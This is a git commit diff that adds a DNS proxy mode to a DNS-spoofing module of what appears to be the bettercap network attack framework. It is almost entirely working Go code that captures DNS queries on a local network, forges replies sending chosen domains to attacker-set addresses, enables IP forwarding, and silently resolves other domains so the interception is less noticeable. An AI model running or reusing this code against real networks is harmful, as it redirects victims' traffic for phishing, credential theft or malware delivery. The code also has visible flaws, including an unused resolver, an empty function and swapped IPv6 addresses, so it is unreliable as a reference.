Merge branch 'dns_spoof_proxy'

This commit is contained in:
Moritz Wagner 2019-03-17 04:06:54 +01:00
commit 31df6c4b30

View file

@ -5,6 +5,10 @@ import (
"fmt" "fmt"
"net" "net"
"sync" "sync"
"context"
"bufio"
"os"
"regexp"
"github.com/bettercap/bettercap/packets" "github.com/bettercap/bettercap/packets"
"github.com/bettercap/bettercap/session" "github.com/bettercap/bettercap/session"
@ -21,6 +25,9 @@ type DNSSpoofer struct {
Handle *pcap.Handle Handle *pcap.Handle
Hosts Hosts Hosts Hosts
All bool All bool
ProxyDNS bool
ProxyDNSIP net.IP
ProxyResolver *net.Resolver
waitGroup *sync.WaitGroup waitGroup *sync.WaitGroup
pktSourceChan chan gopacket.Packet pktSourceChan chan gopacket.Packet
} }
@ -30,6 +37,9 @@ func NewDNSSpoofer(s *session.Session) *DNSSpoofer {
SessionModule: session.NewSessionModule("dns.spoof", s), SessionModule: session.NewSessionModule("dns.spoof", s),
Handle: nil, Handle: nil,
All: false, All: false,
ProxyDNS: false,
ProxyDNSIP: nil,
ProxyResolver: nil,
Hosts: Hosts{}, Hosts: Hosts{},
waitGroup: &sync.WaitGroup{}, waitGroup: &sync.WaitGroup{},
} }
@ -53,6 +63,15 @@ func NewDNSSpoofer(s *session.Session) *DNSSpoofer {
"false", "false",
"If true the module will reply to every DNS request, otherwise it will only reply to the one targeting the local pc.")) "If true the module will reply to every DNS request, otherwise it will only reply to the one targeting the local pc."))
mod.AddParam(session.NewBoolParameter("dns.spoof.proxy",
"false",
"If true the module will reply to every DNS request, with faked entries for selected domains and real ones for non-selected domains."))
mod.AddParam(session.NewStringParameter("dns.spoof.proxy.srv",
"system",
"",
"IP address of proxy dns server or 'system' for system dns"))
mod.AddHandler(session.NewModuleHandler("dns.spoof on", "", mod.AddHandler(session.NewModuleHandler("dns.spoof on", "",
"Start the DNS spoofer in the background.", "Start the DNS spoofer in the background.",
func(args []string) error { func(args []string) error {
@ -80,17 +99,44 @@ func (mod DNSSpoofer) Author() string {
return "Simone Margaritelli <evilsocket@gmail.com>" return "Simone Margaritelli <evilsocket@gmail.com>"
} }
func (mod *DNSSpoofer)getSystemResolver() (net.IP,error) {
file, err := os.Open("/etc/resolv.conf")
if err != nil {
return nil,err
}
defer file.Close()
scanner := bufio.NewScanner(file)
r := regexp.MustCompile(`^\s*nameserver\s*(?P<IP>\d+\.\d+\.\d+\.\d+)`)
for scanner.Scan() {
matches := r.FindStringSubmatch(scanner.Text())
if len(matches) == 2 {
ip := net.ParseIP(matches[1])
if ip != nil {
mod.Info("using system dns server for proxy dns: %s",matches[1])
return ip,nil
}
}
}
if err := scanner.Err(); err != nil {
return nil,err
}
return nil,fmt.Errorf("no nameserver found for proxy dns")
}
func (mod *DNSSpoofer) Configure() error { func (mod *DNSSpoofer) Configure() error {
var err error var err error
var hostsFile string var hostsFile string
var domains []string var domains []string
var address net.IP var address net.IP
var proxyip string
if mod.Running() { if mod.Running() {
return session.ErrAlreadyStarted return session.ErrAlreadyStarted
} else if mod.Handle, err = pcap.OpenLive(mod.Session.Interface.Name(), 65536, true, pcap.BlockForever); err != nil { } else if mod.Handle, err = pcap.OpenLive(mod.Session.Interface.Name(), 65536, true, pcap.BlockForever); err != nil {
return err return err
} else if err = mod.Handle.SetBPFFilter("udp"); err != nil { } else if err = mod.Handle.SetBPFFilter("udp and port 53"); err != nil {
return err return err
} else if err, mod.All = mod.BoolParam("dns.spoof.all"); err != nil { } else if err, mod.All = mod.BoolParam("dns.spoof.all"); err != nil {
return err return err
@ -100,6 +146,10 @@ func (mod *DNSSpoofer) Configure() error {
return err return err
} else if err, hostsFile = mod.StringParam("dns.spoof.hosts"); err != nil { } else if err, hostsFile = mod.StringParam("dns.spoof.hosts"); err != nil {
return err return err
} else if err, mod.ProxyDNS = mod.BoolParam("dns.spoof.proxy"); err != nil {
return err
} else if err, proxyip = mod.StringParam("dns.spoof.proxy.srv"); err != nil {
return err
} }
mod.Hosts = Hosts{} mod.Hosts = Hosts{}
@ -124,6 +174,33 @@ func (mod *DNSSpoofer) Configure() error {
mod.Info("%s -> %s", entry.Host, entry.Address) mod.Info("%s -> %s", entry.Host, entry.Address)
} }
if mod.ProxyDNS {
if proxyip == "system" {
if mod.ProxyDNSIP, err = mod.getSystemResolver(); err != nil {
return err
}
} else {
mod.ProxyDNSIP = net.ParseIP(proxyip)
if mod.ProxyDNSIP == nil {
return fmt.Errorf("invalid dns server ip %s",proxyip)
}
}
dailer := func(ctx context.Context, network, address string) (net.Conn, error) {
d := net.Dialer{}
return d.DialContext(ctx, "udp", proxyip + ":53")
}
mod.ProxyResolver = &net.Resolver{
Dial: dailer,
PreferGo: true,
}
if mod.ProxyResolver == nil {
return fmt.Errorf("dns.spoof.proxy.srv must be filled with dns server ip or 'system'")
}
}
if !mod.Session.Firewall.IsForwardingEnabled() { if !mod.Session.Firewall.IsForwardingEnabled() {
mod.Info("enabling forwarding.") mod.Info("enabling forwarding.")
mod.Session.Firewall.EnableForwarding(true) mod.Session.Firewall.EnableForwarding(true)
@ -132,49 +209,111 @@ func (mod *DNSSpoofer) Configure() error {
return nil return nil
} }
func (mod *DNSSpoofer) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp *layers.UDP, domain string, address net.IP, req *layers.DNS, target net.HardwareAddr) { func (mod *DNSSpoofer) dnsSend(eth *layers.Ethernet, src net.IP, dst net.IP, udp *layers.UDP, dns *layers.DNS) {
redir := fmt.Sprintf("(->%s)", address.String()) var err error = nil
who := target.String() var raw []byte
if t, found := mod.Session.Lan.Get(target.String()); found { if len(src) == net.IPv4len {
who = t.String() ip4 := layers.IPv4{
Protocol: layers.IPProtocolUDP,
Version: 4,
TTL: 64,
SrcIP: src,
DstIP: dst,
}
udp.SetNetworkLayerForChecksum(&ip4)
err, raw = packets.Serialize(eth, &ip4, udp, dns)
} else if len(src) == net.IPv6len {
ip6 := layers.IPv6{
Version: 6,
NextHeader: layers.IPProtocolUDP,
HopLimit: 64,
SrcIP: src,
DstIP: dst,
}
udp.SetNetworkLayerForChecksum(&ip6)
err, raw = packets.Serialize(eth, &ip6, udp, dns)
} else {
mod.Error("invalid protocol for dns proxy.")
}
if err != nil {
mod.Error("error serializing packet: %s.", err)
return
} }
mod.Info("sending spoofed DNS reply for %s %s to %s.", tui.Red(domain), tui.Dim(redir), tui.Bold(who)) mod.Debug("sending %d bytes of packet ...", len(raw))
if err := mod.Session.Queue.Send(raw); err != nil {
var err error mod.Error("error sending packet: %s", err)
var src, dst net.IP }
}
func (mod *DNSSpoofer) generateGenericLayers(pkt gopacket.Packet, peth *layers.Ethernet, pudp *layers.UDP, target net.HardwareAddr)(eth *layers.Ethernet, src net.IP, dst net.IP, udp *layers.UDP, err error) {
nlayer := pkt.NetworkLayer() nlayer := pkt.NetworkLayer()
if nlayer == nil { if nlayer == nil {
mod.Debug("missing network layer skipping packet.") return nil,nil,nil,nil,fmt.Errorf("missing network layer skipping packet.")
return
} }
var eType layers.EthernetType var eType layers.EthernetType
var ipv6 bool
if nlayer.LayerType() == layers.LayerTypeIPv4 { if nlayer.LayerType() == layers.LayerTypeIPv4 {
pip := pkt.Layer(layers.LayerTypeIPv4).(*layers.IPv4) pip := pkt.Layer(layers.LayerTypeIPv4).(*layers.IPv4)
src = pip.DstIP src = pip.DstIP
dst = pip.SrcIP dst = pip.SrcIP
ipv6 = false
eType = layers.EthernetTypeIPv4 eType = layers.EthernetTypeIPv4
} else { } else {
pip := pkt.Layer(layers.LayerTypeIPv6).(*layers.IPv6) pip := pkt.Layer(layers.LayerTypeIPv6).(*layers.IPv6)
src = pip.DstIP src = pip.DstIP
dst = pip.SrcIP dst = pip.SrcIP
ipv6 = true
eType = layers.EthernetTypeIPv6 eType = layers.EthernetTypeIPv6
} }
eth := layers.Ethernet{ eth = &layers.Ethernet{
SrcMAC: peth.DstMAC, SrcMAC: peth.DstMAC,
DstMAC: target, DstMAC: target,
EthernetType: eType, EthernetType: eType,
} }
udp = &layers.UDP{
SrcPort: pudp.DstPort,
DstPort: pudp.SrcPort,
}
return eth,src,dst,udp,nil
}
func (mod *DNSSpoofer) dnsNXDomain(pkt gopacket.Packet, peth *layers.Ethernet, pudp *layers.UDP, req *layers.DNS, target net.HardwareAddr) {
eth, src, dst, udp, err := mod.generateGenericLayers(pkt, peth, pudp, target)
if err != nil {
mod.Debug("%s",err)
}
dns := &layers.DNS{
ID: req.ID,
QR: true,
OpCode: layers.DNSOpCodeQuery,
ResponseCode: layers.DNSResponseCodeNXDomain,
QDCount: req.QDCount,
Questions: req.Questions,
}
mod.dnsSend(eth, src, dst, udp, dns)
}
func (mod *DNSSpoofer) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp *layers.UDP, domain string, address net.IP, req *layers.DNS, target net.HardwareAddr) { redir := fmt.Sprintf("(->%s)", address.String())
who := target.String()
if t, found := mod.Session.Lan.Get(target.String()); found {
who = t.String()
}
eth, src, dst, udp, err := mod.generateGenericLayers(pkt, peth, pudp, target)
if err != nil {
mod.Debug("%s",err)
}
mod.Info("sending spoofed DNS reply for %s %s to %s.", tui.Red(domain), tui.Dim(redir), tui.Bold(who))
answers := make([]layers.DNSResourceRecord, 0) answers := make([]layers.DNSResourceRecord, 0)
for _, q := range req.Questions { for _, q := range req.Questions {
answers = append(answers, answers = append(answers,
@ -187,7 +326,7 @@ func (mod *DNSSpoofer) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp
}) })
} }
dns := layers.DNS{ dns := &layers.DNS{
ID: req.ID, ID: req.ID,
QR: true, QR: true,
OpCode: layers.DNSOpCodeQuery, OpCode: layers.DNSOpCodeQuery,
@ -196,56 +335,10 @@ func (mod *DNSSpoofer) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp
Answers: answers, Answers: answers,
} }
var raw []byte mod.dnsSend(eth, src, dst, udp, dns)
}
if ipv6 { func (mod *DNSSpoofer) proxyPacket() {
ip6 := layers.IPv6{
Version: 6,
NextHeader: layers.IPProtocolUDP,
HopLimit: 64,
SrcIP: src,
DstIP: dst,
}
udp := layers.UDP{
SrcPort: pudp.DstPort,
DstPort: pudp.SrcPort,
}
udp.SetNetworkLayerForChecksum(&ip6)
err, raw = packets.Serialize(&eth, &ip6, &udp, &dns)
if err != nil {
mod.Error("error serializing packet: %s.", err)
return
}
} else {
ip4 := layers.IPv4{
Protocol: layers.IPProtocolUDP,
Version: 4,
TTL: 64,
SrcIP: src,
DstIP: dst,
}
udp := layers.UDP{
SrcPort: pudp.DstPort,
DstPort: pudp.SrcPort,
}
udp.SetNetworkLayerForChecksum(&ip4)
err, raw = packets.Serialize(&eth, &ip4, &udp, &dns)
if err != nil {
mod.Error("error serializing packet: %s.", err)
return
}
}
mod.Debug("sending %d bytes of packet ...", len(raw))
if err := mod.Session.Queue.Send(raw); err != nil {
mod.Error("error sending packet: %s", err)
}
} }
func (mod *DNSSpoofer) onPacket(pkt gopacket.Packet) { func (mod *DNSSpoofer) onPacket(pkt gopacket.Packet) {
@ -254,22 +347,77 @@ func (mod *DNSSpoofer) onPacket(pkt gopacket.Packet) {
if typeEth == nil || typeUDP == nil { if typeEth == nil || typeUDP == nil {
return return
} }
eth := typeEth.(*layers.Ethernet) eth := typeEth.(*layers.Ethernet)
if mod.All || bytes.Equal(eth.DstMAC, mod.Session.Interface.HW) {
dns, parsed := pkt.Layer(layers.LayerTypeDNS).(*layers.DNS) var sip net.IP = nil
if parsed && dns.OpCode == layers.DNSOpCodeQuery && len(dns.Questions) > 0 && len(dns.Answers) == 0 { var dip net.IP = nil
udp := typeUDP.(*layers.UDP) srcip := "n/a"
for _, q := range dns.Questions { destip := "n/a"
qName := string(q.Name)
if address := mod.Hosts.Resolve(qName); address != nil { if mod.ProxyDNS {
mod.dnsReply(pkt, eth, udp, qName, address, dns, eth.SrcMAC) if eth.NextLayerType() == layers.LayerTypeIPv4 {
break pip := pkt.Layer(layers.LayerTypeIPv4).(*layers.IPv4)
} else { sip = pip.SrcIP
mod.Debug("skipping domain %s", qName) dip = pip.DstIP
} } else if eth.NextLayerType() == layers.LayerTypeIPv6 {
} pip := pkt.Layer(layers.LayerTypeIPv6).(*layers.IPv6)
} sip = pip.DstIP
dip = pip.SrcIP
} else {
mod.Debug("skip invalid ip protocol: %s",eth.NextLayerType())
return
}
if sip != nil {
srcip = sip.String()
}
if dip != nil {
destip = dip.String()
}
if sip != nil && sip.Equal(mod.ProxyDNSIP) && dip != nil && mod.Session.Interface.IP.Equal(dip) {
mod.Debug("dns.spoof.proxyDNS skipping dns proxy-answer (from server) %s => %s", srcip, destip)
return
}
if sip != nil && mod.Session.Interface.IP.Equal(sip) && dip != nil && dip.Equal(mod.ProxyDNSIP) {
mod.Debug("dns.spoof.proxyDNS skipping dns proxy-request (to server) %s => %s", srcip, destip)
return
}
if sip != nil && mod.Session.Interface.IP.Equal(sip) {
mod.Debug("dns.spoof.proxyDNS skipping dns proxy-answer (to client) %s => %s", srcip, destip)
return
}
} else if !mod.All && !bytes.Equal(eth.DstMAC, mod.Session.Interface.HW) {
mod.Debug("!dns.spoof.All => deny non-local")
return
}
dns, parsed := pkt.Layer(layers.LayerTypeDNS).(*layers.DNS)
if !parsed || dns.OpCode != layers.DNSOpCodeQuery || len(dns.Questions) == 0 || len(dns.Answers) > 0 {
mod.Debug("blackholing dns answer: %s => %s", srcip, destip)
return
}
udp := typeUDP.(*layers.UDP)
for _, q := range dns.Questions {
qName := string(q.Name)
if address := mod.Hosts.Resolve(qName); address != nil {
mod.Debug("replying dns query by host lookup %s: %s => %s", qName, srcip, destip )
mod.dnsReply(pkt, eth, udp, qName, address, dns, eth.SrcMAC)
break
} else if mod.ProxyDNS {
mod.Debug("proxying dns query %s: %s => %s", qName, srcip, destip )
addr, err := net.LookupHost(qName)
if err != nil || len(addr) == 0 {
mod.Debug("replying dns query by nxdomain %s: %s => %s", qName, srcip, destip )
mod.dnsNXDomain(pkt, eth, udp, dns, eth.SrcMAC)
break
} else {
mod.Debug("replying dns query by proxy lookup %s: %s => %s", qName, srcip, destip )
mod.dnsReply(pkt, eth, udp, qName, net.ParseIP(addr[0]), dns, eth.SrcMAC)
break
}
} else {
mod.Debug("skipping domain %s", string(q.Name))
}
} }
} }